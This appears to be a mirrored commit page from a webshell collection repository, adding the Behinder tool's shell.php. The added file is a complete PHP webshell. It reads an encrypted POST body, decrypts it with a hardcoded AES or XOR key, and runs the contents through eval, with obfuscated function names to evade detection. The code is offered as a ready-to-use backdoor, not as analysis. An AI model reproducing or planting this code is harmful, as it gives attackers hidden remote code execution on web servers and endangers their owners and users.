mirror of
https://github.com/tennc/webshell.git
synced 2026-01-07 15:19:02 +00:00
add some shell
add shell.aspx shell.jsp shell.php with Behinder from : https://github.com/rebeyond/Behinder author: rebeyond 👍
This commit is contained in:
29
Behinder/shell.php
Normal file
29
Behinder/shell.php
Normal file
@@ -0,0 +1,29 @@
|
||||
<?php
|
||||
@error_reporting(0);
|
||||
session_start();
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST')
|
||||
{
|
||||
$key="e45e329feb5d925b";
|
||||
$_SESSION['k']=$key;
|
||||
$post=file_get_contents("php://input");
|
||||
if(!extension_loaded('openssl'))
|
||||
{
|
||||
$t="base64_"."decode";
|
||||
$post=$t($post."");
|
||||
|
||||
for($i=0;$i<strlen($post);$i++) {
|
||||
$post[$i] = $post[$i]^$key[$i+1&15];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$post=openssl_decrypt($post, "AES128", $key);
|
||||
}
|
||||
$arr=explode('|',$post);
|
||||
$func=$arr[0];
|
||||
$params=$arr[1];
|
||||
class C{public function __invoke($p) {eval($p."");}}
|
||||
@call_user_func(new C(),$params);
|
||||
}
|
||||
?>
|
||||
Reference in New Issue
Block a user